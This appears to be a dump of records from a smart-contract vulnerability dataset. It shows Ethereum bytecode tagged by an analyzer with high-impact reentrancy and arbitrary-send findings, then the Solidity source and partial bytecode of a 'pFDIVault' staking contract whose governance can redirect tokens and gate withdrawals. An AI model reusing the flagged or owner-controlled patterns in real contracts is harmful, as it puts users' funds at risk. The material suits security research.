0518663ffffffff1660e01b8152600401612536959493929190613640565b600060405180830381600087803b15801561255057600080fd5b505af1158015612564573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b60008083141561259a57600090506125fc565b600082846125a891906137e2565b90508284826125b791906137b1565b146125f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ee90613545565b60405180910390fd5b809150505b92915050565b600061264483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126a4565b905092915050565b8061265a57612659612707565b5b612665848484612738565b8061267357612672612903565b5b50505050565b6000806000612686612915565b9150915061269d818361260290919063ffffffff16565b9250505090565b600080831182906126eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126e29190613423565b60405180910390fd5b50600083856126fa91906137b1565b9050809150509392505050565b6000600a5414801561271b57506000600b54145b1561272557612736565b6000600a819055506000600b819055505b565b60008060008060008061274a87612977565b9550955095509550955095506127a886600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129df90919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d85600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a2990919063ffffffff16565b600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061288981612a87565b6128938483612b44565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128f09190613625565b60405180910390a3505050505050505050565b6005600a81905550600a600b81905550565b600080600060085490506000683635c9adc5dea00000905061294b683635c9adc5dea0000060085461260290919063ffffffff16565b82101561296a57600854683635c9adc5dea00000935093505050612973565b81819350935050505b9091565b60008060008060008060008060006129948a600a54600b54612b7e565b92509250925060006129a4612679565b905060008060006129b78e878787612c14565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a2183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120c0565b905092915050565b6000808284612a38919061375b565b905083811015612a7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a74906134c5565b60405180910390fd5b8091505092915050565b6000612a91612679565b90506000612aa8828461258790919063ffffffff16565b9050612afc81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a2990919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b59826008546129df90919063ffffffff16565b600881905550612b7481600954612a2990919063ffffffff16565b6009819055505050565b600080600080612baa6064612b9c888a61258790919063ffffffff16565b61260290919063ffffffff16565b90506000612bd46064612bc6888b61258790919063ffffffff16565b61260290919063ffffffff16565b90506000612bfd82612bef858c6129df90919063ffffffff16565b6129df90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c2d858961258790919063ffffffff16565b90506000612c44868961258790919063ffffffff16565b90506000612c5b878961258790919063ffffffff16565b90506000612c8482612c7685876129df90919063ffffffff16565b6129df90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612cb0612cab846136da565b6136b5565b90508083825260208201905082856020860282011115612ccf57600080fd5b60005b85811015612cff5781612ce58882612d09565b845260208401935060208301925050600181019050612cd2565b5050509392505050565b600081359050612d1881613db9565b92915050565b600081519050612d2d81613db9565b92915050565b600082601f830112612d4457600080fd5b8135612d54848260208601612c9d565b91505092915050565b600081359050612d6c81613dd0565b92915050565b600081519050612d8181613dd0565b92915050565b600081359050612d9681613de7565b92915050565b600081519050612dab81613de7565b92915050565b600060208284031215612dc357600080fd5b6000612dd184828501612d09565b91505092915050565b600060208284031215612dec57600080fd5b6000612dfa84828501612d1e565b91505092915050565b60008060408385031215612e1657600080fd5b6000612e2485828601612d09565b9250506020612e3585828601612d09565b9150509250929050565b600080600060608486031215612e5457600080fd5b6000612e6286828701612d09565b9350506020612e7386828701612d09565b9250506040612e8486828701612d87565b9150509250925092565b60008060408385031215612ea157600080fd5b6000612eaf85828601612d09565b9250506020612ec085828601612d87565b9150509250929050565b600080600060608486031215612edf57600080fd5b6000612eed86828701612d09565b9350506020612efe86828701612d87565b9250506040612f0f86828701612d87565b9150509250925092565b600060208284031215612f2b57600080fd5b600082013567ffffffffffffffff811115612f4557600080fd5b612f5184828501612d33565b91505092915050565b600060208284031215612f6c57600080fd5b6000612f7a84828501612d5d565b91505092915050565b600060208284031215612f9557600080fd5b6000612fa384828501612d72565b91505092915050565b600060208284031215612fbe57600080fd5b6000612fcc84828501612d87565b91505092915050565b600080600060608486031215612fea57600080fd5b6000612ff886828701612d9c565b935050602061300986828701612d9c565b925050604061301a86828701612d9c565b9150509250925092565b6000613030838361303c565b60208301905092915050565b61304581613870565b82525050565b61305481613870565b82525050565b600061306582613716565b61306f8185613739565b935061307a83613706565b8060005b838110156130ab5781516130928882613024565b975061309d8361372c565b92505060018101905061307e565b5085935050505092915050565b6130c181613882565b82525050565b6130d0816138c5565b82525050565b60006130e182613721565b6130eb818561374a565b93506130fb8185602086016138d7565b61310481613a11565b840191505092915050565b600061311c60238361374a565b915061312782613a22565b604082019050919050565b600061313f601a8361374a565b915061314a82613a71565b602082019050919050565b6000613162602a8361374a565b915061316d82613a9a565b604082019050919050565b600061318560228361374a565b915061319082613ae9565b604082019050919050565b60006131a8601b8361374a565b91506131b382613b38565b602082019050919050565b60006131cb60158361374a565b91506131d682613b61565b602082019050919050565b60006131ee601b8361374a565b91506131f982613b8a565b602082019050919050565b6000613211601d8361374a565b915061321c82613bb3565b602082019050919050565b600061323460218361374a565b915061323f82613bdc565b604082019050919050565b600061325760208361374a565b915061326282613c2b565b602082019050919050565b600061327a60298361374a565b915061328582613c54565b604082019050919050565b600061329d60218361374a565b91506132a882613ca3565b604082019050919050565b60006132c060258361374a565b91506132cb82613cf2565b604082019050919050565b60006132e360248361374a565b91506132ee82613d41565b604082019050919050565b600061330660118361374a565b915061331182613d90565b602082019050919050565b613325816138ae565b82525050565b613334816138b8565b82525050565b600060208201905061334f600083018461304b565b92915050565b600060408201905061336a600083018561304b565b613377602083018461304b565b9392505050565b6000604082019050613393600083018561304b565b6133a0602083018461331c565b9392505050565b600060c0820190506133bc600083018961304b565b6133c9602083018861331c565b6133d660408301876130c7565b6133e360608301866130c7565b6133f0608083018561304b565b6133fd60a083018461331c565b979650505050505050565b600060208201905061341d60008301846130b8565b92915050565b6000602082019050818103600083015261343d81846130d6565b905092915050565b6000602082019050818103600083015261345e8161310f565b9050919050565b6000602082019050818103600083015261347e81613132565b9050919050565b6000602082019050818103600083015261349e81613155565b9050919050565b600060208201905081810360008301526134be81613178565b9050919050565b600060208201905081810360008301526134de8161319b565b9050919050565b600060208201905081810360008301526134fe816131be565b9050919050565b6000602082019050818103600083015261351e816131e1565b9050919050565b6000602082019050818103600083015261353e81613204565b9050919050565b6000602082019050818103600083015261355e81613227565b9050919050565b6000602082019050818103600083015261357e8161324a565b9050919050565b6000602082019050818103600083015261359e8161326d565b9050919050565b600060208201905081810360008301526135be81613290565b9050919050565b600060208201905081810360008301526135de816132b3565b9050919050565b600060208201905081810360008301526135fe816132d6565b9050919050565b6000602082019050818103600083015261361e816132f9565b9050919050565b600060208201905061363a600083018461331c565b92915050565b600060a082019050613655600083018861331c565b61366260208301876130c7565b8181036040830152613674818661305a565b9050613683606083018561304b565b613690608083018461331c565b9695505050505050565b60006020820190506136af600083018461332b565b92915050565b60006136bf6136d0565b90506136cb828261390a565b919050565b6000604051905090565b600067ffffffffffffffff8211156136f5576136f46139e2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613766826138ae565b9150613771836138ae565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156137a6576137a5613984565b5b828201905092915050565b60006137bc826138ae565b91506137c7836138ae565b9250826137d7576137d66139b3565b5b828204905092915050565b60006137ed826138ae565b91506137f8836138ae565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561383157613830613984565b5b828202905092915050565b6000613847826138ae565b9150613852836138ae565b92508282101561386557613864613984565b5b828203905092915050565b600061387b8261388e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006138d0826138ae565b9050919050565b60005b838110156138f55780820151818401526020810190506138da565b83811115613904576000848401525b50505050565b61391382613a11565b810181811067ffffffffffffffff82111715613932576139316139e2565b5b80604052505050565b6000613946826138ae565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561397957613978613984565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f6f776e6572206973207a65726f20616464726573730000000000000000000000600082015250565b7f53656373206d7573742062652067726561746572207468616e20300000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613dc281613870565b8114613dcd57600080fd5b50565b613dd981613882565b8114613de457600080fd5b50565b613df0816138ae565b8114613dfb57600080fd5b5056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f03fb64205440a7f18fd2626de694d2d4b6587261017f6fae9c36e07616ab6f64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,154 |
0x74730672e1333dcd8799576bc7246e51835cb337 | /**
*Submitted for verification at Etherscan.io on 2020-11-14
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call{ value : amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract pFDIVault {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct RewardDivide {
uint256 amount;
uint256 startTime;
uint256 checkTime;
}
string public _vaultName;
IERC20 public token0;
IERC20 public token1;
address public feeAddress;
address public vaultAddress;
uint32 public feePermill = 5;
uint256 public delayDuration = 7 days;
bool public withdrawable;
address public gov;
uint256 public totalDeposit;
mapping(address => uint256) public depositBalances;
mapping(address => uint256) public rewardBalances;
address[] public addressIndices;
mapping(uint256 => RewardDivide) public _rewards;
uint256 public _rewardCount;
event SentReward(uint256 amount);
event Deposited(address indexed user, uint256 amount);
event ClaimedReward(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name) {
token0 = IERC20(_token0);
token1 = IERC20(_token1);
feeAddress = _feeAddress;
vaultAddress = _vaultAddress;
_vaultName = name;
gov = msg.sender;
}
modifier onlyGov() {
require(msg.sender == gov, "!governance");
_;
}
function setGovernance(address _gov)
external
onlyGov
{
gov = _gov;
}
function setToken0(address _token)
external
onlyGov
{
token0 = IERC20(_token);
}
function setToken1(address _token)
external
onlyGov
{
token1 = IERC20(_token);
}
function setFeeAddress(address _feeAddress)
external
onlyGov
{
feeAddress = _feeAddress;
}
function setVaultAddress(address _vaultAddress)
external
onlyGov
{
vaultAddress = _vaultAddress;
}
function setFeePermill(uint32 _feePermill)
external
onlyGov
{
feePermill = _feePermill;
}
function setDelayDuration(uint32 _delayDuration)
external
onlyGov
{
delayDuration = _delayDuration;
}
function setWithdrawable(bool _withdrawable)
external
onlyGov
{
withdrawable = _withdrawable;
}
function setVaultName(string memory name)
external
onlyGov
{
_vaultName = name;
}
function balance0()
public
view
returns (uint256)
{
return token0.balanceOf(address(this));
}
function balance1()
public
view
returns (uint256)
{
return token1.balanceOf(address(this));
}
function rewardUpdate()
public
{
if (_rewardCount > 0 && totalDeposit > 0) {
uint256 i;
uint256 j;
for (i = _rewardCount - 1; _rewards[i].startTime < block.timestamp; --i) {
uint256 duration;
if (block.timestamp.sub(_rewards[i].startTime) > delayDuration) {
duration = _rewards[i].startTime.add(delayDuration).sub(_rewards[i].checkTime);
_rewards[i].startTime = uint256(-1);
} else {
duration = block.timestamp.sub(_rewards[i].checkTime);
}
_rewards[i].checkTime = block.timestamp;
uint256 timedAmount = _rewards[i].amount.mul(duration).div(delayDuration);
uint256 addAmount;
for (j = 0; j < addressIndices.length; j++) {
addAmount = timedAmount.mul(depositBalances[addressIndices[j]]).div(totalDeposit);
rewardBalances[addressIndices[j]] = rewardBalances[addressIndices[j]].add(addAmount);
}
if (i == 0) {
break;
}
}
}
}
function depositAll()
external
{
deposit(token0.balanceOf(msg.sender));
}
function deposit(uint256 _amount)
public
{
require(_amount > 0, "can't deposit 0");
rewardUpdate();
uint256 arrayLength = addressIndices.length;
bool found = false;
for (uint256 i = 0; i < arrayLength; i++) {
if (addressIndices[i]==msg.sender){
found=true;
break;
}
}
if(!found){
addressIndices.push(msg.sender);
}
uint256 feeAmount = _amount.mul(feePermill).div(1000);
uint256 realAmount = _amount.sub(feeAmount);
if (feeAmount > 0) {
token0.safeTransferFrom(msg.sender, feeAddress, feeAmount);
}
if (realAmount > 0) {
token0.safeTransferFrom(msg.sender, vaultAddress, realAmount);
totalDeposit = totalDeposit.add(realAmount);
depositBalances[msg.sender] = depositBalances[msg.sender].add(realAmount);
emit Deposited(msg.sender, realAmount);
}
}
function sendReward(uint256 _amount)
external
{
require(_amount > 0, "can't reward 0");
require(totalDeposit > 0, "totalDeposit must bigger than 0");
token1.safeTransferFrom(msg.sender, address(this), _amount);
rewardUpdate();
_rewards[_rewardCount].amount = _amount;
_rewards[_rewardCount].startTime = block.timestamp;
_rewards[_rewardCount].checkTime = block.timestamp;
_rewardCount++;
emit SentReward(_amount);
}
function claimRewardAll()
external
{
claimReward(uint256(-1));
}
function claimReward(uint256 _amount)
public
{
require(_rewardCount > 0, "no reward amount");
rewardUpdate();
if (_amount > rewardBalances[msg.sender]) {
_amount = rewardBalances[msg.sender];
}
require(_amount > 0, "can't claim reward 0");
token1.safeTransfer(msg.sender, _amount);
rewardBalances[msg.sender] = rewardBalances[msg.sender].sub(_amount);
emit ClaimedReward(msg.sender, _amount);
}
function withdrawAll()
external
{
withdraw(uint256(-1));
}
function withdraw(uint256 _amount)
public
{
require(token0.balanceOf(address(this)) > 0, "no withdraw amount");
require(withdrawable, "not withdrawable");
rewardUpdate();
if (_amount > depositBalances[msg.sender]) {
_amount = depositBalances[msg.sender];
}
require(_amount > 0, "can't withdraw 0");
token0.safeTransfer(msg.sender, _amount);
depositBalances[msg.sender] = depositBalances[msg.sender].sub(_amount);
totalDeposit = totalDeposit.sub(_amount);
emit Withdrawn(msg.sender, _amount);
}
function availableRewardAmount(address owner)
public
view
returns(uint256)
{
uint256 i;
uint256 availableReward = rewardBalances[owner];
if (_rewardCount > 0 && totalDeposit > 0) {
for (i = _rewardCount - 1; _rewards[i].startTime < block.timestamp; --i) {
uint256 duration;
if (block.timestamp.sub(_rewards[i].startTime) > delayDuration) {
duration = _rewards[i].startTime.add(delayDuration).sub(_rewards[i].checkTime);
} else {
duration = block.timestamp.sub(_rewards[i].checkTime);
}
uint256 timedAmount = _rewards[i].amount.mul(duration).div(delayDuration);
uint256 addAmount = timedAmount.mul(depositBalances[owner]).div(totalDeposit);
availableReward = availableReward.add(addAmount);
if (i == 0) {
break;
}
}
}
return availableReward;
}
} | 0x608060405234801561001057600080fd5b50600436106102115760003560e01c8063a7df8c5711610125578063c78b6dea116100ad578063de5f62681161007c578063de5f6268146105da578063e2aa2a85146105e2578063e835dfbd146105ea578063f6153ccd146105f2578063fab980b7146105fa57610211565b8063c78b6dea14610573578063cbeb7ef214610590578063d21220a7146105af578063d86e1ef7146105b757610211565b8063b6b55f25116100f4578063b6b55f25146104df578063b79ea884146104fc578063b8f7928814610522578063c45c4f5814610545578063c6e426bd1461054d57610211565b8063a7df8c5714610477578063ab033ea914610494578063ae169a50146104ba578063b5984a36146104d757610211565b806344264d3d116101a857806385535cc51161017757806385535cc5146103a45780638705fcd4146103ca5780638d96bdbe146103f05780638f1e94051461041657806393c8dc6d1461045157610211565b806344264d3d146103575780635018830114610378578063637830ca14610394578063853828b61461039c57610211565b80631eb903cf116101e45780631eb903cf146103045780632e1a7d4d1461032a5780634127535814610347578063430bf08a1461034f57610211565b80630dfe16811461021657806311cc66b21461023a57806312d43a51146102e25780631c69ad00146102ea575b600080fd5b61021e610677565b604080516001600160a01b039092168252519081900360200190f35b6102e06004803603602081101561025057600080fd5b81019060208101813564010000000081111561026b57600080fd5b82018360208201111561027d57600080fd5b8035906020019184600183028401116401000000008311171561029f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610686945050505050565b005b61021e6106ef565b6102f2610703565b60408051918252519081900360200190f35b6102f26004803603602081101561031a57600080fd5b50356001600160a01b031661077f565b6102e06004803603602081101561034057600080fd5b5035610791565b61021e61099c565b61021e6109ab565b61035f6109ba565b6040805163ffffffff9092168252519081900360200190f35b6103806109cd565b604080519115158252519081900360200190f35b6102e06109d6565b6102e06109e3565b6102e0600480360360208110156103ba57600080fd5b50356001600160a01b03166109ee565b6102e0600480360360208110156103e057600080fd5b50356001600160a01b0316610a62565b6102f26004803603602081101561040657600080fd5b50356001600160a01b0316610ad6565b6104336004803603602081101561042c57600080fd5b5035610c35565b60408051938452602084019290925282820152519081900360600190f35b6102f26004803603602081101561046757600080fd5b50356001600160a01b0316610c56565b61021e6004803603602081101561048d57600080fd5b5035610c68565b6102e0600480360360208110156104aa57600080fd5b50356001600160a01b0316610c8f565b6102e0600480360360208110156104d057600080fd5b5035610d09565b6102f2610e4d565b6102e0600480360360208110156104f557600080fd5b5035610e53565b6102e06004803603602081101561051257600080fd5b50356001600160a01b031661103c565b6102e06004803603602081101561053857600080fd5b503563ffffffff166110b0565b6102f2611128565b6102e06004803603602081101561056357600080fd5b50356001600160a01b0316611173565b6102e06004803603602081101561058957600080fd5b50356111e7565b6102e0600480360360208110156105a657600080fd5b50351515611318565b61021e61137d565b6102e0600480360360208110156105cd57600080fd5b503563ffffffff1661138c565b6102e06113e9565b6102f2611466565b6102e061146c565b6102f2611659565b61060261165f565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561063c578181015183820152602001610624565b50505050905090810190601f1680156106695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6001546001600160a01b031681565b60065461010090046001600160a01b031633146106d8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b80516106eb906000906020840190611bd4565b5050565b60065461010090046001600160a01b031681565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561074e57600080fd5b505afa158015610762573d6000803e3d6000fd5b505050506040513d602081101561077857600080fd5b5051905090565b60086020526000908152604090205481565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156107dc57600080fd5b505afa1580156107f0573d6000803e3d6000fd5b505050506040513d602081101561080657600080fd5b50511161084f576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b60065460ff16610899576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b6108a161146c565b336000908152600860205260409020548111156108ca5750336000908152600860205260409020545b60008111610912576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b600154610929906001600160a01b031633836116ed565b336000908152600860205260409020546109439082611744565b336000908152600860205260409020556007546109609082611744565b60075560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b6003546001600160a01b031681565b6004546001600160a01b031681565b600454600160a01b900463ffffffff1681565b60065460ff1681565b6109e1600019610d09565b565b6109e1600019610791565b60065461010090046001600160a01b03163314610a40576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b60065461010090046001600160a01b03163314610ab4576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038116600090815260096020526040812054600c5482919015801590610b0557506000600754115b15610c2e576001600c540391505b6000828152600b6020526040902060010154421115610c2e576005546000838152600b6020526040812060010154909190610b4f904290611744565b1115610b8c576000838152600b602052604090206002810154600554600190920154610b8592610b7f919061178f565b90611744565b9050610bac565b6000838152600b6020526040902060020154610ba9904290611744565b90505b6005546000848152600b60205260408120549091610bd491610bce90856117e9565b90611842565b6007546001600160a01b03881660009081526008602052604081205492935091610c049190610bce9085906117e9565b9050610c10848261178f565b935084610c1f57505050610c2e565b50506000199092019150610b13565b9392505050565b600b6020526000908152604090208054600182015460029092015490919083565b60096020526000908152604090205481565b600a8181548110610c7557fe5b6000918252602090912001546001600160a01b0316905081565b60065461010090046001600160a01b03163314610ce1576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000600c5411610d53576040805162461bcd60e51b815260206004820152601060248201526f1b9bc81c995dd85c9908185b5bdd5b9d60821b604482015290519081900360640190fd5b610d5b61146c565b33600090815260096020526040902054811115610d845750336000908152600960205260409020545b60008111610dd0576040805162461bcd60e51b8152602060048201526014602482015273063616e277420636c61696d2072657761726420360641b604482015290519081900360640190fd5b600254610de7906001600160a01b031633836116ed565b33600090815260096020526040902054610e019082611744565b33600081815260096020908152604091829020939093558051848152905191927fd0813ff03c470dcc7baa9ce36914dc2febdfd276d639deffaac383fd3db42ba392918290030190a250565b60055481565b60008111610e9a576040805162461bcd60e51b815260206004820152600f60248201526e063616e2774206465706f736974203608c1b604482015290519081900360640190fd5b610ea261146c565b600a546000805b82811015610ef457336001600160a01b0316600a8281548110610ec857fe5b6000918252602090912001546001600160a01b03161415610eec5760019150610ef4565b600101610ea9565b5080610f3d57600a80546001810182556000919091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b031916331790555b600454600090610f67906103e890610bce90879063ffffffff600160a01b9091048116906117e916565b90506000610f758583611744565b90508115610f9c57600354600154610f9c916001600160a01b039182169133911685611884565b801561103557600454600154610fc1916001600160a01b039182169133911684611884565b600754610fce908261178f565b60075533600090815260086020526040902054610feb908261178f565b33600081815260086020908152604091829020939093558051848152905191927f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c492918290030190a25b5050505050565b60065461010090046001600160a01b0316331461108e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b60065461010090046001600160a01b03163314611102576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6004805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600254604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561074e57600080fd5b60065461010090046001600160a01b031633146111c5576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000811161122d576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060075411611284576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b60025461129c906001600160a01b0316333084611884565b6112a461146c565b600c80546000908152600b60209081526040808320859055835483528083204260019182018190558554855293829020600201939093558354909201909255805183815290517feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929181900390910190a150565b60065461010090046001600160a01b0316331461136a576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6006805460ff1916911515919091179055565b6002546001600160a01b031681565b60065461010090046001600160a01b031633146113de576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600555565b600154604080516370a0823160e01b815233600482015290516109e1926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561143557600080fd5b505afa158015611449573d6000803e3d6000fd5b505050506040513d602081101561145f57600080fd5b5051610e53565b600c5481565b6000600c5411801561148057506000600754115b156109e157600c546000190160005b6000828152600b60205260409020600101544211156106eb5760